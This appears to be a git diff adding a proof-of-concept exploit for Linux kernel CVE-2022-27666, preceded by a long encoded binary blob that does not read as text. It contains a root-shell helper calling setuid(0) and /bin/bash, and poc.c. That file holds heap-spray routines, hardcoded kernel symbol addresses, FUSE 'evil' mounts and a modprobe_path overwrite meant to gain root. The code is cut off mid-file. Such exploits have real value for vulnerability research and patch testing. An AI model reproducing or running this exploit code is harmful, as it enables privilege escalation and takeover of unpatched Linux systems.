z$`#*)dY`NK`?y}KR{S>Pr&jU9QLaYCpFw|VQG5;7=befV#Cq&d#ova1j#B(-loXJ|gzLWZ6fZ|U*DHPu(oKF0Y7)_0<(6Y{eEA$&3VDf#13j~6J;?@#38V#NnxU-U}FS7IEvUh#RDA8%2-8T>BAj|P80@$GufX3@JP-ZleZ|M29zRul8~FbV#p@yeFU95l;*W|S4?S5}k4Qbv zz;$0&#rtF3&_nSSjEDUdpMmzglj2wJZtHz_#pU;+qZNM@`JSNoCXAC)6+a&OXDdD( z?SG!)=cB#VD1IyIb=@(F--&*Gvf_QwU(QkdZRpvc_{uEn z&#M)G9QAUu;ya_A+@pAZ$p1z0v$39eM)4!Du6|kZ*AahP@e`2$PZYlp>xwTGKL`H& zLGiU+Y~JZ6zBK4@^QK1Ytip+P`oGf+@ZMi^9L3G3FE^Pif@nc;RVINg55V1zY_iK z1I4#Sz5hdT**E#O;*-#iepUQHK;h*`6e~os&NbwcWzf|#~(LOsA&qY2DSG*7EeXZhW zLC-0QcSAnUReVp3OBX9X0)D$j@e?sG+@ko-=y&%j9>e(gh~i7ZpH+MU^t_^YF4~W* zPo@1lgLV9;O8!rIw%)%|{Hnp0|ETy8;9b!FME@B0b92Q%f&cp`z7%?PP`o?l%|VJk z0{@RtyaDyTx8fHfK3VY#(C8cd!_Ny8zc|;*FIN0swEtGccSn4s;xpif z)r!A{_0>AX6NT39nTl_~JSF9pdMVGc@>eMNpD~`?sQAn9=begI!VeEAel*(KlZp?7 z-4_*K13hml{x$0NL&Xa*KmJqkRcNz$uz|uL%)tIK6*f4jvB@9M89ZJ{B^8Xk5fDW|D2`xD;RIDR=f#% z?f_>uj-%-KU(oIaK>?p7lNPUaW0oU|9YOs*>0hX8;WlWe!b#V;Ibbk`JV%R zyC=_fuf;rgKX?`~&f-xVpyM$mKX#Di&nfvakbhOlABFfkN`46BWgm{CY!_mI%#*^W zTC>5fJJ|qpZvS$O_BiX2|G%`a;!BZWp2vBrK(T^F9%nr(Am5_+D)7S;KMwp%#h(Me zS@BQ6pI1DW3rNR56yFg%dw~63{IJSKgZ>`RCMNYVQ1ShsXO!aA;Ilj)AwBFPKIVFy z^-DWB$m1-#kpB2M*5fRH0`#A$IR9TFJ}y@L0`R*Om;U%y#b1N`XCC+SleM$8!(yDD zZy?{-<5E_Z+zDL9y&;2{2EkBIp7lt3D^~IYFdxZtaMB;;eY=&OJoop@b69&2G${TN z_<@SQ2Y#sH@_Wf672lzY)i3*JQm*qY4o+3_^1I?Q6|aJx3&F*otFVr}!jm6Mx_iia zCIi3ItB_dcQc&yarsT=ID@^7%#v{+-fO#+`tUpA;_z&%!t= z`d@(lz8>dxb*j-qDB7u6U%3@+_w82s{A#h>CtbbPM(N6`NbxcE)p3zR?5rW5_rkNSF?+sSI^-$wC6 zz~#P#^t(^Nhbj4Y!AFBjehN7u9Yu=o1}^)EB0m!R042WV@m!V8E=*R zUEs?-&VC!(m2*S?k56&=-Ss-f&w~6Zik}32rpGy-&%*8okF#C*9r9(0e*-|5b3XI1{~*tsaCMmcL(h+pmwGQi`|L7^ z1nH1^pJ-zAK0I)d?+N)G6yFtmy5jZVO^UaIuT*>m__5%eA1-em+SM6KUIxl*l)SW` z+da;HI350x_a2FVP5^(vlV`h!VqfwpkF%cdA^)7>UxL4*xQq`UC_WG6`bP1G!M{`d z0q~za?ze~jyHV!okaEfUskT%6d*~SmF7-R8t4%-5ljm{3ya0_(>~7;-6(0iLSMhVfw^95|@IsIK^*-L?T&|ZPKT+{#!Aro!|9fFx zuJGi!-dk<#0$ik}Dmkm8qtKL@@U<%7$+ba$JfHbAH;P zXQJYb;8Dfp{poSV<@ba0J?^)kPLH$Q!MN|RQgL|?yS(>B+D}s+C8A@UC(rF?Aq&uP zF1W}a1or_a@BOJ1cp4U+X?fUg~$6$JswW!w)kR{}*`F#4(i;f0Dx07o;&UTw1e}m$6;CFyay~yvC z9`xk7ofKkS{fv@-YjgUNjyDwl8obL;`@QJj9pm0kijM;yruY=_3Eyn>}MGVj`BF`8HeXNk5POC_z50oJ*&IZ2OVd7ob_yg z{P~KX3%=gtetWytZqgoc$xev)!op_PuR6Z}Yg{-X8Ke>p2PXk0^c&_>&&@+uO??XFcCQ z{&mIWccE{4+;4B6d7SlB2cHHm?RLj4tlg+5&+T><+HJLx9|-xSijN0B zOYxQ94=8>t_|uA?4*oj0wA47XSG+&?CdK7FQ@?<-S}yO4 zTUtGvjkIUUzr0s}M{tps_Atcb?4R4=hY^b306xa!Y**UDB#*P6?XbT+RdM-U%^by# zhW!4D9|nG);_|zKX2su!e7navpE5q2;&IOBE_nXu48`U7{y%|>KOaYbyxf!L_OKD- z!_7)we&_O_;_pMxr;2aWgOt(Hb(B4e-QB=@DLxu}Cvd6X2MTTap-Nu<|3a~nm-bNZ zarVzT_@`2FdCtCG@vk7?sQCYZuT;De`=y5~UJkz6<9~o#Gq8dyKaAAa?Hu-%jx-z;_3idR&g{>aj{*{=Y_< zl9zhi-{b6`@8E|8if;mMRy=|0rZ&arg0EKm&){nnzaM;^$NhS|(&L=Z0MGMXtN3@& zb1S&`^K1C+K2M(Ou?P06pH%YSLHjCKKWRC7FnEwZGzJ-~$z(4?Y@P>hZ+^ zT(}^ZsO07Ur_5FIQjfJB=U_ejvsm$J@FtJ5pQrREWZFh9Hh8BzqnfQafR0I zTE$0zuk$$9i~Jvxb3D#=H$eUZ#m@!5R`G5-QX)ETRQ%UMgM$YYUk&+(6+Z&}agY1$ z=L3&(J|BeqCyL(*{v~)8$?_8IMEL&)PoCS)^Yq6@SB}sj^74NfdMkb<^z5tn$KZ<; z{}*_R;&NZ?aByiq$6?>#cqP9P`|TT)ytJR|JkI`+-^p%NTz*Gzo5$JDXJOs)kjGii zNodcHD1Hq1lOAV1vOo5+$63!ekbhnA&%xjJIO~!2`I*OAPc_ERFBFe~|El=w;5mCy zVmjE*tmg&ro{CS{nWciDuj1ptxAnN+KF4{S^~-Ze6BKWUo~hu{-sHK9*`7QXWdr^3 zQKjTRLVGw+@t?rYRD2xT;r)tF1Aj{K3h>v!rF|~N{QIGj--Pk-CnYcKGmo7`hxq?p z_@TSvuZf=(pT3JtU#R#*@ZpNf^PHm-}txbGc53{P~KX0DdXB_)Y%r!gZcJ z*ZXkP`&~-@8Tk1z#oq_tr1&;@wp<0{?OE*Z2EL8rqrrCrmwNAw`#O6nd3n!osgjp^ zpXYJ*&v)=cmExPgYdp?=zN*mXdzr^sk37e4km7R(Tlu3De-!)}#qS3{OYz-s9etkS zyMSNhalbv>?QzcMV#wdGcmn(}aH*H8Fb+TO$(#ATi!Ik%O8$Dtf2R1u;Jqf;bfW)9 z@R5pl>uKfoQ@j`WEO2QL2Vg&HzLJ;!6WXfer9B+xarVzM@WU#_9|1p2@zJ>7e3s&S zfM22b1>n~xeg^p6ig!UfzhChmApfl5heQ4a#aDvA;&H#7eC=`e!#$AyR`FZFgME|h zu@v>v4V>$R+sX52Cw-KBIplX%e6iH8;#Yznq`18I`3S`yg#3x%(oUA(`t;lk@;54Z zX(#u1oc*)oP+R^76z>oI7mu@_W&QBH$63#Dkbg<>Rp1{e{ss6aihm6Lo#GY4Y(9Td zybL^RKl{D-N7fJ9d7SfkD&%)m{5bHz;L@+c@On#iudRpnBybGw*mhKT-rl7 z@Sw=1lk&>{t?mmh^3om#c%19&ZuoOo#cu{5tGL|X+DGyJBW*q=dYtQ5?o*d~ob4V5 z`KaQnz!xh18F-!IAA>h~+;3NhC@$^lY>#t(MvSugKVR`3!7l~RBC%}xn+E@1=gD)s zT8MUamy$1q{9}qQ0{>F+^TD^CWb>5;yVrs5s`xYD`zihgc&Xwaf$tA4?L?lVtyl8$ zf6@)yL-lJ5Qe5!>MQwT_)S_MZPcOw^Dov_&$m+0oPr{CVKg9y)McbD5Ig2>E-IysSeW^*HT!D||03k~Q2bNy zO2y^9*ozb&(AVa#Me(8Fhl5MK$nTeqQ}Xh@?Da}s>g5`bvmfNX!VQXF3IE)u_*U!; zIv!HI0Q^yp`}OjU$JuTa@*gNZ9sD2QQZHqFjoIMeo;-_gLcL@c+wVm_2KgR}H-e8- z{4DUPieCyIQ~U<-8gQwXlee?^Xj1YUA-_h+OTC=zarTegKR8|S>&IIC=Xjj`EbI15 zJkEM#Km7{Ddto2>HpPzwzf18$!SDCDU%#(3K|;7=T$*{Ha{mT`3E6?xssQ9+~{%kPaXCdZ&h6O zbN{0FQ;>gL@rS{m@i^DZuRUx&U-dZKmHo;$6(5ZKvUfesdgQ+F=N@N07eIcK;oa_&~*f0UxaR58%T*?ziU|9%sAb zvENaq_-OF|SK7S?M^)W%0Kf7m4*_{ZP@psrd591}u*DWM6p)9ASU_PE$p+S7Aqj2* z1yPF9L0)P)f`E^fM?tKGrr0`KtVE$eD=L*iu}o=4Dl<%{qO=NCV0wOgzTbHGy62zv z&SdZ2&;HJ1&pqevxx1UYrYjyK&2E@n-O61Gjvh$M}6MaLZ>N;(sq*3I8MfA{T32VJG_4N8<0nTioP=+`{-{ z@DAdQ8~V7b;Z5D9)pKWa@86dAYV@C5C7#E_I|H}p^#^Im>0D;nzw$$5Bz>wjX(ZJ5>A>+IeK)*SYvS)MtF) zmQM=jOB2N>!Ar$=!)J)s!e<3;Rqz8__=Ng81xl(gNJ_ z3yI%?_}_}Z3O^?PG5ibh^YF&E_;OgECbmP}(iYDB`(`)qohAMN+JAt=bN>zr+}fuU z?K50_3Vd|n*3O*I+#a~)^A_Uo5Z?p;zWBA6mzRt8hCd*_2L7P+26&N`-1pMwCAgVTmB6& z?|EJPEb`wQxaH5|(mR1$KJ$^!yW*T*9tqs?`4IJKaI4#JOH=n}`CNq85LBYw4bKOdg-i}*nC z_N{$_qKJ%TnWE5$S2ef*k;uNUX<{cMW(HgTVOl5CIo4)LY!e2SeB-!0y$qmSPg@jrVSI z9~Ixxz~}!##Q!1A-|agY@iXFkFy7Bbyy19XKF9S{m;3D|5pOO2q9t@o+lYTdoWECH z5b<8($8o&v6Y=ZBC!;=tB7URz-*J2!74dQ6t1(_~k9e{8{5;=2(;{9bz8&%RM*Kc; zUO#a`#2*%Kb(OEr@`$e#f3b;=UlZ~5;zJwz_)QVtCcX&Ym)IWh9payI{6>7A_?@W# z{)itE=X~t_h<_k{2=j#F5kD!u4abLnMf|MzBs||_f^S!jQ+gBerRbl{Bi>g0DfEZ- z5ibyb%U2`m9`QcnZ)5-VkN6<*0hkXAj`%2X&d0`x*GE1R#9u=HoD}gA@tEqW%e1rIA^qKhk;q^IOD= z@w$0VoZnlRfybE-KL=0HAL;x&s7##KnLHxS>l2Q`>pb(}_2^y}=XJ)e#JFKRufwxO zoY!M%hB4~*yMM3-E8VSV`f6#1UB zZ;N3_Wu;0T57vtF`Y_F`K(|;}IPS)Zx5T(xAn&5nb&x_-fzo$XxIIWg=j?>-Z9H$A| zoB42@4i)D(trq7v-7n5@nmvdI`<>&oKaQg;m*aH0ILGPJ;vA=k#W_wp;&{vaIZh{v zbDXXa=Q!p6r!pUoQ(i}(&T-lU$89>t>3DH|k93JR$LVfyj?)DFj`{QRi-F=Cze!=` zyt1lPiCb4?{CYa?WzsWKg;nXfRY~ErR8=Y|EUBza3Nsb9Vc~rX`(C&?z-?NZY=FC0 zIJ07EYNleQ;zCcC%r2dBPx;*yu9)ooR7puDJ%`D%yIDE{6-j!9UsWY%$T0XmQR;FTBI#V?dC8eiNxjU08 zOZ$QSf8OT1^mb@McdW~;2=~ro-opntZ{c(W}D*SNoMVfp<+boW_4*F`W*KNt1y%0T49 z=TElNEW5Au=kF#n9?9$4kK6V!Q?B-(jvu~aJ6m<^P{I7@_c+T{el5;74zQvw&X)Y_ z?Uy&x+}&K|FGTsZcw$z*4RtO5L1$8g6E}bElwBo#Xq9H!l#v6S~ zE8nJkTK*%>a+ROPL}8a@9xNKW&ON4P;XUTrZITST*{^x4u}`@Na@BvtaUaS3Wc9bH zpw_>}nda#zDcfVW?*9z^s_s@}pLdVsD!&-zGrg5>V_(bP=}hx + +int main() { + setuid(0); + system("/bin/bash"); +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-27666/poc.c b/cve/linux-kernel/2022/CVE-2022-27666/poc.c new file mode 100644 index 00000000..b0582f6d --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-27666/poc.c @@ -0,0 +1,2215 @@ + + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "fuse_evil.h" +#define SIOCETHTOOL 0x8946 +#define SLAB_32_OBJS_PER_SLAB 64 +#define SLAB_32_CPU_PARTIAL 30 +#define SLAB_1k_OBJS_PER_SLAB 32 +#define SLAB_1k_CPU_PARTIAL 6 +#define SLAB_2k_OBJS_PER_SLAB 16 +#define SLAB_2k_CPU_PARTIAL 6 +#define SLAB_4k_OBJS_PER_SLAB 8 +#define SLAB_4k_CPU_PARTIAL 2 +#define SIZE_OF_MSG_MSG 48 +#define SIZE_OF_MSG_MSGSEG 8 +#define OOB_PAGE 0xf +#define PAGE_SIZE 0x1000 +#define TTY_NUM 32 +#define LAST_PAGE_GAP_BYTES 0x88 +#define MSG_LEN 0x1018 + + +#define CLEAR_LIST 0 +#define PRINT_STACK_DEBUG 1 +#define PRINT_PAGE_ALLOC 1 << 1 +#define PRINT_PAGE_FREE 1 << 2 +#define PRINT_MSG 1 << 3 +#define PRINT_USER_KEY_PAYLOAD 1 << 4 +#define PRINT_OOB_INFO 1 << 5 +#define PRINT_ANY_PROC 1 << 6 +#define PRINT_PAGE_CUR_ORDER 1 << 7 +#define PRINT_PAGE_FREE_DETAIL 1 << 8 +#define PRINT_XATTR 1 << 9 +#define PRINT_OOB_DETAIL 1 << 10 +#define PRINT_TARGET_SLAB 1 << 11 +#define PRINT_MSG_DETAIL 1 << 12 + +#define SIZE_OF_USER_KEY_PAYLOAD 2049 +#define SIZE_OF_USER_KEY_PAYLOAD_SLAB 4096 + +#define HEAP_SPRAY_LOOP 2 +#define N_PROCS 8 +#define N_LOOP N_PROCS +#define FUSE_MOUNT1 "evil1" +#define FUSE_MOUNT2 "evil2" +#define PROC_MODPROBE_TRIGGER "/tmp/modprobe_trigger" + +#define MAX_QBYTES_IN_QUEUE 1024 +#define BASE_MSGTYPE 0x1 +#define MSG_HEADER_SIZE 0x30 +#define MSG_SPARY 0x37 + +uint64_t addr_single_start = 0xffffffff8134b7f0; +uint64_t addr_single_stop = 0xffffffff8134b830; +uint64_t addr_single_next = 0xffffffff8134b810; +uint64_t addr_modprobe_path = 0xffffffff82e6e220; + +int64_t kaslr_offset = 0; +int pause_flag = 1; +char *evil_buffer; +uint64_t msg_next = NULL, msglist_prev = NULL, msglist_next = NULL; +int fuse_fd = -1; +void *fuse_mem_addr = NULL; + +int msqid[0x1000]; +int max_msg; +//#include "sandbox.h" +struct list_head { + struct list_head *next, *prev; +}; + +struct msgbuf_key { + long mtype; + char mtext[1]; +}; + +struct spary_msg_arg { + int msqid; + int start; + int loop; + int size; + char *payload; + void *dst; +}; + +struct msg +{ + long mtype; + char mtext[1]; +}; + +struct fake_msg_msg { + struct list_head m_list; + long m_type; + size_t m_ts; /* message text size */ + void *next; + void *security; + /* the actual message follows immediately */ +}; + +typedef struct +{ + int done; + pthread_mutex_t mutex; + pthread_mutex_t proc_mutex[N_PROCS+1]; +} shared_data; + +struct spray_argv { + void *addr; + int size; + pthread_mutex_t *mutex; + int *count; +}; + +static shared_data *free_mutex; +static shared_data *spray_lock; +static shared_data *two_loop; +static shared_data *shell_lock; +static shared_data *hang_threads; +struct fake_user_key_payload { + void *next; + void *callback; + short unsigned int datalen; +}; + +static unsigned long long procid; + +static __thread int skip_segv; +static __thread jmp_buf segv_env; + + +void *recvmymsg(int _msqid, int size, void *memdump, int type, int free) { + if (!free) + free = MSG_COPY; + if (msgrcv(_msqid, (void *) memdump, size, type, + IPC_NOWAIT | free | MSG_NOERROR) == -1) { + if(errno != ENOMSG) { + perror("msgrcv"); + exit(1); + } + } +} + +int msg_spray(int num_msg, int size, int loop) { + int i; +#ifdef MSG_DEBUG + printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop); +#endif + + for (i = 0; imtext[0], MSG_SPARY, buff_size); + for (i = start; i < start+loop; i++) { + msg_key->mtype = BASE_MSGTYPE + i; + //printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype); + int ret = msgsnd(_msqid, msg_key, buff_size, 0); + //printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret); + if (ret == -1) { + printf("msgsnd error\n"); + exit(1); + } + } + free(msg_key); +} + +void load_symbols() +{ + struct utsname version; + char buf[1024]; + char *symbol; + int ret; + FILE *fp; + u_int64_t addr; + + ret = uname(&version); + if (ret != 0) { + printf("Failed to retrieve kernel version using uname()\n"); + exit(EXIT_FAILURE); + } + printf("Kernel version %s\n", version.release); + + memset(buf, 0, sizeof(buf)); + snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release); + + fp = fopen(buf, "r"); + if (fp == NULL) { + printf("Failed to open symbol file %s\n", buf); + return; + } + + while(fgets(buf, sizeof(buf), fp) != NULL) { + buf[16] = 0; + addr = strtoul(buf, NULL, 16); + symbol = &buf[19]; + if (!strcmp(symbol, "single_start\n")) { + addr_single_start = addr; + printf("0x%016llx single_start\n", addr_single_start); + } + if (!strcmp(symbol, "single_stop\n")) { + addr_single_stop = addr; + printf("0x%016llx single_stop\n", addr_single_stop); + } + if (!strcmp(symbol, "single_next\n")) { + addr_single_next = addr; + printf("0x%016llx single_next\n", addr_single_next); + } + if (!strcmp(symbol, "modprobe_path\n")) { + addr_modprobe_path = addr; + printf("0x%016llx modprobe_path\n", addr_modprobe_path); + } + } + + fclose(fp); + + if (!addr_single_start || + !addr_single_stop || + !addr_single_next || + !addr_modprobe_path) { + printf("Missing at least one symbols.\n"); + exit(EXIT_FAILURE); + } +} + +#define NONFAILING(...) \ + ({ \ + int ok = 1; \ + __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ + if (_setjmp(segv_env) == 0) { \ + __VA_ARGS__; \ + } else \ + ok = 0; \ + __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ + ok; \ + }) + +static bool write_file(const char* file, const char* what, ...) +{ + char buf[1024]; + va_list args; + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + buf[sizeof(buf) - 1] = 0; + int len = strlen(buf); + int fd = open(file, O_WRONLY | O_CLOEXEC); + if (fd == -1) + return false; + if (write(fd, buf, len) != len) { + int err = errno; + close(fd); + errno = err; + return false; + } + close(fd); + return true; +} + +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[4096]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_len = sizeof(*attr) + size; + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + exit(1); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + exit(1); + return -1; + } + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + if (n < 0) { + if (dofail) + exit(1); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + exit(1); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + exit(1); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + exit(1); + return -1; + } + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, true); +} + +static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, + const char* family_name, bool dofail) +{ + struct genlmsghdr genlhdr; + memset(&genlhdr, 0, sizeof(genlhdr)); + genlhdr.cmd = CTRL_CMD_GETFAMILY; + netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); + netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, + strnlen(family_name, GENL_NAMSIZ - 1) + 1); + int n = 0; + int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); + if (err < 0) { + return -1; + } + uint16_t id = 0; + struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + + NLMSG_ALIGN(sizeof(genlhdr))); + for (; (char*)attr < nlmsg->buf + n; + attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { + if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { + id = *(uint16_t*)(attr + 1); + break; + } + } + if (!id) { + errno = EINVAL; + return -1; + } + recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + return id; +} + +static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, + unsigned int total_len) +{ + struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); + if (offset == total_len || offset + hdr->nlmsg_len > total_len) + return -1; + return hdr->nlmsg_len; +} + +static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, + const char* name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, + sizeof(hdr)); + if (name) + netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); + netlink_nest(nlmsg, IFLA_LINKINFO); + netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); +} + +static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, + const char* name) +{ + netlink_add_device_impl(nlmsg, type, name); + netlink_done(nlmsg); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, + const char* peer) +{ + netlink_add_device_impl(nlmsg, "veth", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + netlink_nest(nlmsg, VETH_INFO_PEER); + nlmsg->pos += sizeof(struct ifinfomsg); + netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); + netlink_done(nlmsg); + netlink_done(nlmsg); + netlink_done(nlmsg); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, + const char* slave1, const char* slave2) +{ + netlink_add_device_impl(nlmsg, "hsr", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + int ifindex1 = if_nametoindex(slave1); + netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); + int ifindex2 = if_nametoindex(slave2); + netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); + netlink_done(nlmsg); + netlink_done(nlmsg); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, + const char* name, const char* link) +{ + netlink_add_device_impl(nlmsg, type, name); + netlink_done(nlmsg); + int ifindex = if_nametoindex(link); + netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, + const char* link, uint16_t id, uint16_t proto) +{ + netlink_add_device_impl(nlmsg, "vlan", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); + netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); + netlink_done(nlmsg); + netlink_done(nlmsg); + int ifindex = if_nametoindex(link); + netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, + const char* link) +{ + netlink_add_device_impl(nlmsg, "macvlan", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + uint32_t mode = MACVLAN_MODE_BRIDGE; + netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); + netlink_done(nlmsg); + netlink_done(nlmsg); + int ifindex = if_nametoindex(link); + netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, + uint32_t vni, struct in_addr* addr4, + struct in6_addr* addr6) +{ + netlink_add_device_impl(nlmsg, "geneve", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); + if (addr4) + netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); + if (addr6) + netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); + netlink_done(nlmsg); + netlink_done(nlmsg); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +#define IFLA_IPVLAN_FLAGS 2 +#define IPVLAN_MODE_L3S 2 +#undef IPVLAN_F_VEPA +#define IPVLAN_F_VEPA 2 + +static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, + const char* link, uint16_t mode, uint16_t flags) +{ + netlink_add_device_impl(nlmsg, "ipvlan", name); + netlink_nest(nlmsg, IFLA_INFO_DATA); + netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); + netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); + netlink_done(nlmsg); + netlink_done(nlmsg); + int ifindex = if_nametoindex(link); + netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + hdr.ifi_index = if_nametoindex(name); + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + int err = netlink_send(nlmsg, sock); + if (err < 0) { + } +} + +static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, + const void* addr, int addrsize) +{ + struct ifaddrmsg hdr; + memset(&hdr, 0, sizeof(hdr)); + hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; + hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; + hdr.ifa_scope = RT_SCOPE_UNIVERSE; + hdr.ifa_index = if_nametoindex(dev); + netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, + sizeof(hdr)); + netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); + netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); + return netlink_send(nlmsg, sock); +} + +static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, + const char* addr) +{ + struct in_addr in_addr; + inet_pton(AF_INET, addr, &in_addr); + int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); + if (err < 0) { + } +} + +static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, + const char* addr) +{ + 